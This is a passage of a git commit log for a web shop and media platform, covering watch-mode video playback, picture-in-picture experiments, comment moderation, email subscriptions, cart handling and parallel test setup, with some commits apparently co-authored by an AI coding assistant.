history resets (un-dims all items), and a +1/+2/+3 badge appears next to
the progress display. Shop owners/editors get a green "mod" badge.

Ring state: ringLoops persisted in localStorage alongside existing ring state.
Server: watch_json now returns is_mod flag. Templates pass data-watch-is-mod.
 2026-02-09 10:57:56 -05:00
russell@unturf.com
740001f09b Fix radio highlight not updating on subscribe page, default to None 
Replace display:none on radio inputs with visually-hidden technique
(position:absolute, opacity:0) so :checked pseudo-class updates
reliably when clicking labels. Default frequency changed to None.
 2026-02-09 10:52:45 -05:00
russell@unturf.com
50bfb13309 Stack all watch-video-container children in same grid cell for DJ crossfade 
grid-area: 1/1 was only on video elements, so non-video children (countdown
overlay, unmute button) could push videos into separate grid rows. Apply
grid-area: 1/1 to all children so both active and standby videos always
occupy the same x/y position with z-index layering.
 2026-02-09 10:30:14 -05:00
russell@unturf.com
df9270b3aa Add Immediate frequency option, reorder to None/Immediate/Daily/Weekly, default Daily 
Subscription frequency was missing Immediate and defaulted to Weekly.
Now offers four options in logical order with Daily as the default digest.
 2026-02-09 10:22:16 -05:00
russell@unturf.com
7f3b3e2fee Add comment moderation dashboard at /s/{shop_id}/comments 2026-02-09 09:37:32 -05:00
russell@unturf.com
5b39ab273a Anonymous commenting with email verification via OTP 
Show comment form to all visitors instead of requiring sign-in first.
Anonymous users enter email + comment, verify via 6-digit OTP, then
their comment is created. Uses existing OTP infrastructure and honeypot
spam protection.
 2026-02-09 09:11:13 -05:00
russell@unturf.com
7257a588a0 Fix DJ crossfade event listener accumulation and non-idempotent preload 
Named event handlers (onMediaEnded, onMediaLoadedMetadata, onMediaTimeUpdate)
replace anonymous functions so setupMediaEvents() can removeEventListener
on both active and standby elements before adding fresh listeners. This
prevents duplicate handlers from accumulating after each crossfade swap.

preloadNext() now tracks preloadingId to skip redundant fetches — prevents
presigned URL regeneration from invalidating already-buffered standby media.
 2026-02-09 09:10:39 -05:00
russell@unturf.com
08aceed3b8 Fix mobile watch mode: content scrolls under sticky video, add horizontal padding 
- Give product-images, description, comments, and product-right opaque
  backgrounds so they slide beneath the sticky video instead of through it
- Add 4px horizontal padding to mobile two-column layout matching nav inset
 2026-02-09 07:47:42 -05:00
russell@unturf.com
836d78d310 Move ring.json route before shop_slug catch-all so it matches 2026-02-09 07:44:07 -05:00
russell@unturf.com
b933daffd9 Forge ring on first access, add /s/{shop_id}/ring.json endpoint 
Existing shops had no ring until a product edit triggered it.
Now watch_json and server-rendered views forge the ring on first
access if empty. Added ring.json diagnostic endpoint to inspect
a shop's discovery ring state.
 2026-02-09 07:19:11 -05:00
russell@unturf.com
bc41c3481b Precompute discovery ring per shop for deterministic content traversal 
Replace per-request Jaccard similarity with a precomputed circular
ordering of all public products. Greedy nearest-neighbor walk starts
from the newest product, accumulating stems to cluster similar content.
Ring reforges on product create/edit/upload when watch mode is enabled.

Frontend stores ring position, direction, and watch history in
localStorage. Queue items splice into playback without moving ring
position. Watched items dim in sidebar with progress indicator.
 2026-02-08 16:07:25 -05:00
russell@unturf.com
4c1cd11050 Lazy cart creation: don't persist session carts until product added 
Bots and crawlers were creating empty cart rows on every page visit,
bloating the database (531k empty rows, 80% of all carts). Session
carts are now kept in-memory until a product is actually added, at
which point the view persists them via dbsession.add + flush.

- add_session_cart returns in-memory Cart, reuses UUID across requests
- authentication.py guards dbsession.delete for transient carts
- 17 new tests: unit, integration, and functional coverage
 2026-02-08 15:26:35 -05:00
russell@unturf.com
5ee2175a3f Serve feeds as application/xml so browsers render instead of download 
Also add target=_blank to subscribe page feed links.
 2026-02-08 14:24:45 -05:00
russell@unturf.com
95e90f0ed8 Open RSS and Atom feed links in new window 2026-02-08 14:22:13 -05:00
russell@unturf.com
528d99398d Set ribbon to fixed 42px height, match sticky video offset 2026-02-08 14:19:03 -05:00
russell@unturf.com
e3d1fc8ad3 Offset sticky video below ribbon on desktop (top: 38px) 2026-02-08 14:18:10 -05:00
russell@unturf.com
c00c33754c Track recently played items, filter from Up Next for 4 hours 
Stores played product IDs + timestamps in localStorage. Items played
within the last 4 hours are hidden from Up Next sidebar and skipped
by getNextItem(). Queue items always play (user-explicit). Cleans
stale entries on page load.
 2026-02-08 14:17:07 -05:00
russell@unturf.com
da465868e3 Push footer to bottom of viewport on short pages 2026-02-08 14:05:58 -05:00
russell@unturf.com
0e5b04b947 Desktop sticky nav; watch mode sticks ribbon+logo only; mobile never sticky 
- Desktop non-watch: full nav bar sticks at top on scroll
- Desktop watch mode: only ribbon and logo stick, nav scrolls away
- Mobile/tablet: nothing sticky except video in watch mode
 2026-02-08 13:58:00 -05:00
russell@unturf.com
0fa40d921a Link unturf.com to /software/ page in footer 2026-02-08 13:48:36 -05:00
russell@unturf.com
4d500cb42b Revert streamlined footer, restore CTAs and original sizing 
Bring back CTA buttons and original font sizes/spacing.
Make footer full width to match the nav bar.
 2026-02-08 13:45:56 -05:00
russell@unturf.com
2712f34a1e Improve shop footer: add description, nav links, feeds, account 
Shop footer now has 4-column grid matching SaaS layout with shop
description, cart/subscribe links, RSS/Atom feeds, and account link.
 2026-02-08 13:43:45 -05:00
russell@unturf.com
bd3757bb9a Streamline SaaS footer: remove redundant CTAs, tighten spacing 
Remove CTA buttons section (app already has + New in navbar).
Use grid instead of flex, reduce font sizes, tighten padding.
 2026-02-08 13:35:54 -05:00
russell@unturf.com
94d3953d6d Two-phase preload: fast JSON fetch, buffer media 30s before end 
Phase 1: preloadNext() fetches JSON metadata immediately (fast API call,
no media download). Standby src set with preload=none.
Phase 2: bufferNext() triggered by timeupdate when ~30s from end of
current track. Switches standby to preload=auto and calls load() to
start real buffering for seamless DJ crossfade.
 2026-02-08 13:18:20 -05:00
russell@unturf.com
63f62cf234 Use preload=metadata instead of auto to avoid downloading entire next video 2026-02-08 13:15:08 -05:00
russell@unturf.com
7574318ba8 Fix static content not switching: hard navigate when no active media 2026-02-08 13:13:44 -05:00
russell@unturf.com
309c291a92 Reset static content 42s timer on scroll — user is still reading 2026-02-08 13:13:01 -05:00
russell@unturf.com
9841013306 Only ribbon sticky on desktop, nav and logo flow normally 2026-02-08 13:12:07 -05:00
russell@unturf.com
8d6c892835 Use Jaccard similarity for related content ranking 
Raw stem overlap count favored products with large descriptions
(like books) that matched common words with everything. Jaccard
index (intersection/union) normalizes by total unique stems so
content size doesn't dominate the score.
 2026-02-08 13:10:02 -05:00
russell@unturf.com
c60c6bd84b Pin setuptools<81 — version 82 removed pkg_resources 
Pyramid 2.0.2 imports pkg_resources which was dropped from setuptools 81+.
Pin to <81 until Pyramid removes its pkg_resources dependency.
 2026-02-08 12:18:29 -05:00
russell@unturf.com
2bf586595f Install setuptools before editable install in Makefile 
Cached CI venvs skip dependency resolution on editable installs.
Explicitly install setuptools first in both dev and prod targets.
 2026-02-08 12:11:58 -05:00
russell@unturf.com
db2d23aabd Add setuptools to requirements-dev.txt 
The --editable install skips dependency resolution on cached CI venvs.
requirements-dev.txt is installed with --upgrade so setuptools will
actually get picked up.
 2026-02-08 12:11:26 -05:00
russell@unturf.com
ef0df8d777 Restore js-only on queue btn, make + always visible 
Reverts removal of js-only class. Changes queue button color from
text-muted to text-primary so it's always clearly visible, not
just on hover.
 2026-02-08 12:09:41 -05:00
russell@unturf.com
9063e7d485 Bump version to 1.1.6 
Force pip to re-resolve dependencies so setuptools gets installed
in cached CI venvs.
 2026-02-08 12:03:26 -05:00
russell@unturf.com
4e91dcb99a Always show queue + button in related content 2026-02-08 11:59:36 -05:00
russell@unturf.com
117227a901 Add setuptools to requirements for Python 3.12+ compatibility 
Python 3.12 no longer bundles setuptools in virtual environments.
Pyramid imports pkg_resources from setuptools, causing CI to fail with
ModuleNotFoundError: No module named 'pkg_resources'.
 2026-02-08 11:47:52 -05:00
russell@unturf.com
c5f3b2915f Sticky ribbon + logo/nav on desktop scroll 
Wraps ribbon and nav-grid in .sticky-header div inside section.main.
Desktop only (min-width: 800px) — sticks to top on scroll, eliminates
whitespace gap above sticky video. No change on mobile/tablet.
 2026-02-08 11:47:15 -05:00
russell@unturf.com
7becbb94a1 Always show queue add button, add mobile usability rule to CLAUDE.md 
Hover-only controls are unreachable on touch devices. Removed opacity:0
hover-reveal pattern from queue add button. Added MOBILE USABILITY
guideline to CLAUDE.md: all interactive elements must be always visible.
 2026-02-08 11:41:50 -05:00
russell@unturf.com
d1fbcf53cf Add autoplay toggle switch inline with Up Next heading 
iOS-style slider toggle, on by default, persisted in localStorage.
Moved from standalone checkbox into related-content header row.
Rebuilt on SPA navigation with rebindAutoplayToggle().
 2026-02-08 11:41:01 -05:00
russell@unturf.com
39b186d651 Prevent download/up-next from overlapping sticky video on mobile 2026-02-08 11:36:06 -05:00
russell@unturf.com
8ad849cc72 Bump related content thumbnails from 56px to 58px 2026-02-08 11:35:08 -05:00
russell@unturf.com
93152ab26d Left-align Up Next text, honor thumbnail aspect ratio 2026-02-08 11:34:13 -05:00
russell@unturf.com
1ab8f6ff20 Reduce countdown from 14s to 7s, left-align countdown text 2026-02-08 11:32:26 -05:00
russell@unturf.com
0a08b9b14e Add context-aware footer to base template 
SaaS domain shows full MPS footer with navigation links, resources, and CTAs.
Shop domains show minimal footer with shop name and powered-by link.
 2026-02-08 11:25:22 -05:00
russell@unturf.com
52e2ffc06c Redesign countdown overlay as compact frosted-glass bottom bar 
Countdown preview now anchors to bottom of media container instead of
covering the entire video. Uses backdrop-filter blur with theme-aware
semi-transparent background (light/dark). Compact single-row grid layout
with 60px thumb, title+number, and action buttons inline.

Also completes the stalled watch mode v2 changes: static content timer,
autoplay toggle persistence, audio container wrapping in hardSwap, and
watch_json endpoint accepting non-playable media types.
 2026-02-08 10:36:03 -05:00
russell@unturf.com
91fb6f7916 Bump product-main max-height from 33vh to 42vh 2026-02-08 10:17:30 -05:00
russell@unturf.com
d03178b5b5 Redesign Up Next sidebar: compact rows, numbered index, hover-reveal queue button 2026-02-08 08:52:47 -05:00
russell@unturf.com
cbeb873d14 Reduce h1 font size from 1.75em to 1.25em 2026-02-08 08:50:48 -05:00
russell@unturf.com
04a4df4ccd Reduce subtitle text size in product/content headings 2026-02-08 08:49:43 -05:00
russell@unturf.com
bc9b2fd954 Revert title above media in content, break subtitle to own line 
Content template: video back on top, title below (as before).
Both templates: br before "uploaded to" / "sold by" so the
subtitle text wraps to its own line under the title.
 2026-02-08 08:25:03 -05:00
russell@unturf.com
12f738d480 Watch mode v2: continuous playback with crossfade and queue 
Rewrite watch mode from basic autoplay into a full SPA media controller:

- Fix get_related_products() with 3-tier fallback (stem overlap, same
  media type, recency) so orphan products still show recommendations
- Add /watch/{id}/json endpoint for SPA navigation without page refresh
- Rewrite watch.js: SPA fetch+pushState, 14-second countdown timer,
  DJ crossfade with dual media elements, queue system with sessionStorage
- Add audio support in watch mode (album art + audio player)
- Add queue "+" buttons to related content sidebar
- Add noscript/js-only progressive enhancement pattern
- Preload next media for instant transitions
 2026-02-08 08:19:07 -05:00
russell@unturf.com
fd33376cb7 Document CSS media sizing rule: never width 100% with max-height 2026-02-08 08:04:43 -05:00
russell@unturf.com
7cd749cf5f Use width auto for watch-mode video to eliminate whitespace 
width: 100% forced the video element wider than its rendered
content when max-height constrained the height. width: auto lets
the element shrink to match the actual video aspect ratio.
 2026-02-08 08:01:40 -05:00
russell@unturf.com
9ed4dd50e9 Move title above media in content template 
Title should always appear before the image/video so the user
knows what they're looking at. product.j2 already had this order.
 2026-02-08 07:48:00 -05:00
russell@unturf.com
007a53f3df Left-align product images to match title text 
With max-height constraining square media, images no longer fill
the container width and were centering via inherited text-align.
 2026-02-08 07:07:01 -05:00
russell@unturf.com
449542d3d8 Move None frequency option to leftmost position 2026-02-08 06:59:23 -05:00
russell@unturf.com
1995b88615 Flash verification prompt for unauthenticated subscribe visitors 2026-02-08 06:49:06 -05:00
russell@unturf.com
2235ea24a7 Move Subscribe link to left of username in nav 2026-02-08 06:48:32 -05:00
russell@unturf.com
efc7ee9284 Use 33vh instead of 480px for product-main max-height 
Scales with viewport so square media takes up at most 1/3 of the
screen on any device.
 2026-02-08 06:39:22 -05:00
russell@unturf.com
b76c0e0115 Add Subscribe nav link, None frequency option, improve form styling 
- Subscribe link in nav bar on shop domains
- None option disables notifications for the subscriber
- Styled frequency as pill buttons, full-width submit, cleaner layout
 2026-02-08 06:37:09 -05:00
russell@unturf.com
0adc57c874 Add max-height 480px to all product-main selectors 
The base .product-main rule was being overridden by more specific
selectors that set height: auto. Add max-height to each specific
rule so the constraint is respected. Also add production URL to
CLAUDE.md.
 2026-02-08 06:26:03 -05:00
russell@unturf.com
35819d0638 Cap product-main height at 480px to tame square media 2026-02-08 06:15:52 -05:00
russell@unturf.com
d86167c00b Include GIT_HASH in package_data so it ships with pip install 2026-02-08 04:42:17 -05:00
russell@unturf.com
ab8d07c04c Track GIT_HASH in repo so deploy always has it 
Production installs from git clone without .git, so the
setup.py approach can't resolve the hash. Committing the
file ensures it's always present in the package.
 2026-02-08 04:33:04 -05:00
russell@unturf.com
1b704f545f Bake git hash at install time so /version works without .git 
setup.py writes GIT_HASH file during install. The version view
reads it at runtime instead of shelling out to git.
 2026-02-07 19:54:57 -05:00
russell@unturf.com
1ebfb5a8aa Add /version endpoint with git hash for deploy verification 2026-02-07 19:38:01 -05:00
russell@unturf.com
e9bef9982d Make subscription migration idempotent 
Check for existing table/column before creating, so the migration
doesn't error when init-db has already created the schema.
 2026-02-07 19:24:10 -05:00
russell@unturf.com
8171960847 Add email digest subscriptions, @mentions, and RSS autodiscovery 
Implement "Stay in the Loop" feature set:
- ShopSubscription model for daily/weekly email digest subscriptions
- Subscribe/verify/unsubscribe views with token-based email verification
- Digest sender console script for cron-based email delivery
- @mention parsing in comments with immediate email notifications
- RSS/Atom autodiscovery link tags in page head
- Shop settings toggle for enabling/disabling subscriptions
 2026-02-07 19:04:13 -05:00
russell@unturf.com
fe237ba350 Document capability-driven presentation practice in CLAUDE.md. 2026-02-07 16:40:04 -05:00
russell@unturf.com
4b8d2aa4d3 Fix watch mode sticky video and media overflow 
Change section.content overflow-x from auto to clip so position:sticky
works through it. Add min-width:0 on watch-left to prevent grid blowout.
Add overflow:hidden on sticky product-images to contain media.
 2026-02-07 16:36:26 -05:00
russell@unturf.com
819c0d630a Fix sticky video by wrapping left column in watch-left container 
position: sticky only works within the containing block. In the grid
layout, each named area (images, description, comments) was its own
containing block, so the video had nowhere to stick. Wrapping all
left-column content in a single div gives the video a tall parent
to stick within while scrolling.
 2026-02-07 15:24:06 -05:00
russell@unturf.com
bc4858c58a Add YouTube-style watch mode with sticky video, autoplay, and related content 
Shop owners can enable watch mode in settings to get: direct video autoplay
with muted fallback, sticky video player while scrolling, and a stemming-powered
"Up Next" related content sidebar. Degrades gracefully per capability.
 2026-02-07 14:57:37 -05:00
russell@unturf.com
68089dff5b Add AJAX comment submission to preserve media playback 
Comments now submit via fetch() when JS is available, returning JSON
instead of triggering a full page reload that kills video/audio playback.
Falls back to the existing POST+redirect when JS is disabled.
 2026-02-07 11:19:58 -05:00
timehexon
2ae2863a4c Replace "AI" with "machine learning" in CLAUDE.md 
Machine learning is what we grow. "AI" is forbidden in all
permacomputer discourse, marketing, & documentation.
 2026-02-02 19:55:59 +00:00
russell@unturf.com
726cf6eebb Add shop setting to toggle product/content date visibility 
Remove border-top from date metadata styling. Add show_dates boolean
to Shop model (default on) with radio buttons in Branding Settings
to show or hide created/updated dates on product and content pages.
 2026-02-01 13:47:05 -05:00
russell@unturf.com
875183d201 Add created/updated dates to product and content pages 
Show subtle date metadata at the bottom of the description section
with muted text and a light border separator. Only shows "Updated"
when it differs from the created date.
 2026-01-31 14:01:27 -05:00
russell@unturf.com
1eca7a3145 Fix content.j2 thumbnail handling - remove play overlay from non-videos 
- Fix broken image when content has no thumbnail1
- Remove play button overlay from images/GIFs (only videos get it)
- Non-video content now opens in new window on click
 2026-01-25 10:25:55 -05:00
russell@unturf.com
bbc03b0c6d Add template syntax validation tests 
Validates all 51 Jinja2 templates can be parsed without syntax errors.
Includes specific tests for key templates: base, product, content, cart,
checkout, shop, invoice, billing, crypto_checkout, home, product_edit,
user_settings, and user_purchases.

Catches issues like mismatched {% if %}/{% endif %} blocks before deployment.
 2026-01-22 12:48:50 -05:00
russell@unturf.com
4f43aa7104 Fix content.j2 template - remove extra endif causing syntax error 2026-01-22 12:24:12 -05:00
russell@unturf.com
ded0941839 Fix video thumbnail container CSS - support div element not just a 2026-01-22 12:04:43 -05:00
russell@unturf.com
d254147362 Simplify inline video - use direct URLs, no /player/ endpoint 
- Pass video URL directly to playInline() function
- No more fetching from JSON endpoint
- No-JS fallback opens video URL directly in new tab
- Play Preview button links directly to video file
- Removed all /player/ route dependencies from templates

Much simpler: click thumbnail → swap to video element with that URL

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 12:02:55 -05:00
russell@unturf.com
57a5f83b73 Replace pop-up player with inline video on thumbnail click 
Simple approach:
- Click thumbnail → swap it for an inline video element
- Video has native browser controls (including PiP button)
- No JavaScript fallback → opens /player/{id} in new tab
- Removed all pop-up window code

The native browser video controls already have a PiP button,
so no need for custom PiP implementation.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 11:32:17 -05:00
russell@unturf.com
34ee5a9eeb Replace broken PiP API with small floating pop-out window 
Native PiP API (requestPictureInPicture) not available in user's browser.
Instead, open a small pop-out window (480x320) that:
- Is movable (drag the window)
- Is resizable (resize=yes)
- Stays open when browsing main site
- Has prev/next controls (from player.j2)
- Auto-advances when video ends (from player.js)
- Positioned in bottom-right corner of screen

This is more reliable than trying to use browser APIs that may not
be available or work differently across browsers.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 11:24:28 -05:00
russell@unturf.com
6ec2a97f34 Add PiP support to content.j2 template (was only in product.j2) 2026-01-22 10:09:12 -05:00
russell@unturf.com
453334f3e4 Change thumbnail click to open PiP directly instead of pop-up 2026-01-22 09:35:56 -05:00
russell@unturf.com
d7e70e9d24 Move PiP button to separate text area to avoid click conflicts 2026-01-22 09:35:13 -05:00
russell@unturf.com
53a21e721b Fix PiP button click propagation to parent link 2026-01-22 09:34:42 -05:00
russell@unturf.com
5d5398921a Remove URL expiration warning - data is already downloaded 2026-01-22 09:01:43 -05:00
russell@unturf.com
428edc3b21 Update help text for PiP button 2026-01-22 08:58:01 -05:00
russell@unturf.com
7a2aabcd6e Switch to native PiP with Media Session API for prev/next controls 
Use native browser PiP instead of Document PiP:
- Native PiP has right-click "always on top" option that actually works
- Media Session API adds prev/next track buttons to PiP controls
- Video stays in PiP when navigating between tracks
- Auto-advances to next video when current one ends

Key features:
- Creates hidden video element for PiP playback
- requestPictureInPicture() for native browser PiP
- navigator.mediaSession for prev/next track handlers
- Updates MediaMetadata with current title
- Stays in PiP mode during navigation

User can right-click PiP window and select "Always on top" for
true OS-level always-on-top behavior.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 08:57:43 -05:00
russell@unturf.com
3153a98dff Add JSON API endpoint for direct Document PiP mode 
Major improvements to Picture-in-Picture experience:

1. New JSON endpoint /player/{product_id}/json returns:
   - videoUrl: presigned S3 URL
   - title: product title
   - prevProductId/nextProductId: navigation data
   - mediaType: video/audio/image

2. Direct PiP from product page:
   - Click 📺 PiP button on product page
   - Opens Document PiP directly (no pop-up window first)
   - Navigation stays within PiP (no page reloads needed)

3. In-PiP navigation:
   - Prev/Next buttons load new video in same PiP window
   - Video auto-advances when finished (stays in PiP)
   - No page navigation - pure PiP experience

4. Better error handling:
   - JSON endpoint returns proper error messages
   - Fallback to pop-up window if Document PiP fails

This creates a true floating video player experience where users
can browse videos entirely within the PiP window.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 08:47:44 -05:00
russell@unturf.com
54deee7fe8 Add direct PiP button on product page bypassing pop-up window 
Add 📺 PiP button overlay on video thumbnails that opens Document PiP
directly from the product page without opening pop-up window first.

Features:
- PiP button positioned at top-right of video thumbnail
- Fetches video URL from /player/{product_id} endpoint
- Opens Document PiP window with video + prev/next controls
- Navigates to /product/{id} pages (not /player/{id})
- Auto-advances to next product when video ends
- Falls back to pop-up window if Document PiP unsupported
- Comprehensive console logging for debugging

User flow now:
1. Product page with video thumbnail
2. Click ▶ play overlay -> pop-out window (existing behavior)
3. Click 📺 PiP button -> directly to Picture-in-Picture mode

This eliminates the need to open pop-up then click PiP button.

Requires Chrome 111+ or Edge 111+ for Document PiP support.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-22 08:06:19 -05:00
russell@unturf.com
9fc9c71410 Add comprehensive debugging for Document PiP implementation 
Debug logging added to diagnose why Document PiP isn't working:
- Log Document PiP API availability on page load
- Log browser user agent for compatibility checking
- Log when togglePip is called and which path is taken
- Log video dimensions and calculated aspect ratio
- Alert user if Document PiP fails with error details
- Alert user if browser doesn't support Document PiP
- Log all fallback PiP operations

This will help identify:
- Browser compatibility issues (needs Chrome/Edge 111+)
- Video metadata loading issues
- API permission errors
- Which PiP mode is actually being used

User should check browser console when clicking PiP button to see
which path is taken and any error messages.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 13:55:06 -05:00
russell@unturf.com
2258385cf4 Implement Document Picture-in-Picture with prev/next navigation 
Replace basic PiP with Document Picture-in-Picture API that provides:
- Custom navigation controls (Prev/Next buttons) in PiP window
- Automatic aspect ratio calculation from video dimensions
- True OS-level always-on-top (no window.focus() polling needed)
- Window is movable by default (browser feature)
- Syncs playback between main window and PiP
- Auto-navigates to next video when current ends
- Product title displayed in PiP controls
- Fallback to regular PiP for unsupported browsers

Technical details:
- Window sized to video aspect ratio (640px wide, height calculated)
- Controls bar at bottom with prev/next navigation
- Pauses main window video when PiP is active
- Syncs seek position and play/pause state bidirectionally
- Closes PiP window on toggle or window close

Document PiP is supported in Chrome/Edge 111+ and provides the best
experience with custom UI controls AND true always-on-top behavior.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 13:05:37 -05:00
russell@unturf.com
d244617554 Add native Picture-in-Picture support and debug ended event 
Picture-in-Picture (PiP) improvements:
- Add native browser PiP button for videos (P key or 📺 button)
- PiP has true OS-level always-on-top when you right-click and select "Keep on top"
- PiP works on mobile and desktop with browser's native implementation
- Button shows on mobile (PiP is useful on mobile devices)
- Active state toggles button text between "📺 PiP" and "📺 Exit PiP"

Debug 'ended' event not firing:
- Add explicit ended event listener with console logging
- Log when media starts playing
- Log playback progress every 5 seconds
- This will help identify why auto-advance isn't working

The native PiP API provides better always-on-top than our window.focus()
approach because it's implemented at the OS level by the browser.

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 12:49:44 -05:00
russell@unturf.com
741004b2d2 Improve mobile player controls and remove fullscreen button 
Mobile improvements:
- Controls auto-hide after 3 seconds on page load
- Tap player to show/hide controls (instant hide or show with 3s auto-hide)
- Tapping outside controls grid hides them immediately
- Mobile autoplay fix: start muted, unmute after 100ms

Button changes:
- Remove fullscreen button (not needed for pop-out windows)
- Page button now always opens in new tab (simplified logic)
- Remove F key shortcut for fullscreen

Desktop behavior unchanged (hover to show controls).

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 12:40:42 -05:00
russell@unturf.com
c6ea5f7f4b Add comprehensive documentation for parallel test execution system 
Documents the 16.7x test speedup achieved through pytest-xdist:
- Explains per-worker database isolation strategy
- Details SQLite WAL mode configuration for concurrency
- Describes automatic worker distribution and load balancing
- Covers implementation challenges and solutions
- Provides performance metrics and hardware requirements
- Includes best practices for parallel-safe tests

Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
 2026-01-21 12:25:41 -05:00
russell@unturf.com
6d40232fe4 Fix Decimal serialization in subTest for pytest-xdist 
The parallel test execution failed on 4 tests because pytest-xdist's
execnet cannot serialize Decimal objects when sending test results
between workers.

Solution: Convert Decimal objects to strings in subTest() parameters.
The Decimal values are still used for actual test logic, but the
subTest labels now use string representations.

Fixed tests:
- test_sweep_restocking_fee_fee_amount_calculation
- test_doge_expected_amount_precision_always_rounds_up
- test_xmr_expected_amount_precision_always_rounds_up
- test_fee_calculations_always_round_up

This is a common pytest-xdist limitation with non-serializable types.
 2026-01-21 12:13:36 -05:00
russell@unturf.com
af4b70a160 Fix parallel test execution with isolated per-worker databases 
The previous parallel test attempt failed because all workers were trying
to use the same SQLite database file, causing locking errors.

Solution:
- Created conftest.py to configure pytest-xdist workers
- Each worker gets a unique database file (test_make_post_sell_gw0.sqlite, etc.)
- Enabled SQLite WAL (Write-Ahead Logging) mode for better concurrency
- WAL allows multiple readers while a writer is active
- Modified test.ini to use $TEST_DATABASE_PATH environment variable
- Automatic cleanup of worker databases after test completion

Benefits:
- True isolation between test workers
- No database locking conflicts
- Tests can run fully in parallel
- Expected test time reduction from 30min to ~5-10min

Each worker's database is completely isolated, preventing the SQLite
"database is locked" errors that plagued the previous attempt.
 2026-01-21 12:07:16 -05:00
russell@unturf.com
012014a20c Add parallel test execution with pytest-xdist 
The test suite was taking 30 minutes to run sequentially. With 434 tests,
parallel execution should significantly reduce CI time.

Changes:
- Add pytest-xdist to requirements-test.txt
- Update Makefile test target to use 'pytest -n auto'
- Auto mode automatically uses number of CPU cores available

Expected improvements:
- Unit tests and model tests can run fully in parallel
- Integration tests with isolated databases can run in parallel
- Overall test time should reduce to ~5-10 minutes on multi-core CI

Note: Crypto RPC tests may still be a bottleneck if they hit shared
wallet daemons, but most other tests should parallelize well.
 2026-01-21 11:57:46 -05:00
russell@unturf.com
5ee3d1efdd Fix test: PDF is now a supported media type (document) 
The test_unsupported_extensions test was failing because we added PDF
support to the media player. PDF now returns 'document' from
get_media_type() instead of None.

Changes:
- Import DOCUMENT_EXTENSIONS constant
- Add test_document_extensions() test
- Remove 'pdf' from unsupported extensions list
- Add DOCUMENT_EXTENSIONS to lowercase validation test
 2026-01-21 11:45:46 -05:00
russell@unturf.com
af8da71c9a Replace PiP mode with draggable pop-out window 
The native browser Picture-in-Picture mode had limitations:
- Couldn't stay on top of all windows (terminals went over it)
- No user control over drag/resize
- Browser-controlled positioning

Changes:
- Simplified openMediaPlayer() to always use pop-out window
- Pop-out window is draggable and resizable by user
- Always-on-top toggle uses window.focus() for better control
- Removed PiP button and togglePip() function
- Removed keyboard shortcut for PiP (P key)
- Cleaned up unused helper functions (preloadNextMedia, loadMedia)
- Reorganized player controls (3x3 grid)

The pop-out window gives users full control over positioning and sizing.
 2026-01-21 11:24:56 -05:00
russell@unturf.com
9f895f17e0 Add /random and /tv endpoints for media playback 
- /random: Redirects to a random public media item from the shop
- /tv: Full-screen TV mode that autoplays media in sequence
  - Starts with a random media item
  - Shows controls on hover (Random, Exit, Fullscreen)
  - Keyboard shortcuts: C for random, ESC for exit, F for fullscreen
  - Auto-enters fullscreen on load
  - Embeds player in iframe for seamless integration
 2026-01-21 11:14:07 -05:00
russell@unturf.com
4dea196297 Fix Firefox unresponsive script issue for images and PDFs 
- Detect images/PDFs early and open window directly
- Avoid creating hidden elements and doing DOM manipulation for static content
- Only use PiP/floating player for video/audio
- Eliminates Firefox 'script unresponsive' dialog on image navigation
- Much faster response time for images and PDFs
 2026-01-21 11:02:26 -05:00
russell@unturf.com
574ea8c6a2 Add aggressive preloading of next video/audio for instant playback 
- Preload next media immediately after current starts (high priority)
- Preload previous media after 2 second delay (lower priority)
- Uses hidden video/audio elements with preload='auto'
- Works in pop-out player, PiP mode, and floating audio player
- Browser caches preloaded media for instant playback on auto-advance
- Previous uses preload='metadata' to save bandwidth
- Cleans up preloaded elements when navigating

Next video loads instantly when auto-advance triggers, creating seamless TV-like experience.
 2026-01-21 11:00:21 -05:00
russell@unturf.com
2dc817e3d1 Add auto-advance to next media by default 
- Videos/audio: auto-advance when media ends
- Images: auto-advance after 60 seconds
- PDFs: auto-advance after 60 seconds, cancelled if user scrolls
- Detect scroll via wheel/scroll events to cancel auto-advance
- Works in PiP mode, pop-out player, and floating audio player
- Seamless playlist-like experience through all media in shop
 2026-01-21 10:56:17 -05:00
russell@unturf.com
f0b23ec0ff Add parent page navigation and PDF support 
- PiP now controls parent page: clicking prev/next in PiP navigates the parent page URL
- Add 'Go to Page' button (G key) to open current product page
- Add PDF support: renders PDFs in iframe, opens in pop-out (not PiP)
- PDFs and images fall back to pop-out player window
- Pass product URLs through playerData for navigation
- Audio gets small floating player, video gets PiP, PDFs get window
 2026-01-21 10:51:36 -05:00
russell@unturf.com
962a89c3a6 Add mobile support and responsive player controls 
- Mobile devices open player in new tab (better than PiP)
- Add playsInline attribute for iOS autoplay support
- Responsive controls: hide PiP/auto-resize/always-on-top on mobile
- Implement togglePip function for desktop PiP button
- Optimize button sizes and spacing for touch screens
- Detect mobile via user agent and fallback gracefully
 2026-01-21 10:47:57 -05:00
russell@unturf.com
a6c76456d4 Fix PiP navigation to update video source instead of page navigation 
- Prev/next in PiP now loads new video source dynamically
- Keeps PiP window open during navigation
- Updates playerData to maintain prev/next chain
- No page navigation, seamless media switching
 2026-01-21 10:45:05 -05:00
russell@unturf.com
dcbfd10101 Add native Picture-in-Picture mode with Media Session API 
- Click video enters native browser PiP mode directly
- Uses Media Session API to add prev/next track buttons to PiP
- Falls back to small floating player if PiP not supported
- Cleaner than pop-out window, truly floats over all apps
 2026-01-21 10:44:01 -05:00
russell@unturf.com
a93d5e457f Redesign controls: centered 3-column grid with play/pause 
- Center all controls in screen with dark background panel
- 3-column CSS Grid layout:
  Row 1: Prev | Play/Pause | Next
  Row 2: Always On Top | Fullscreen | Auto-Resize
- Add play/pause toggle button (space key)
- Make always-on-top more aggressive (250ms focus interval)
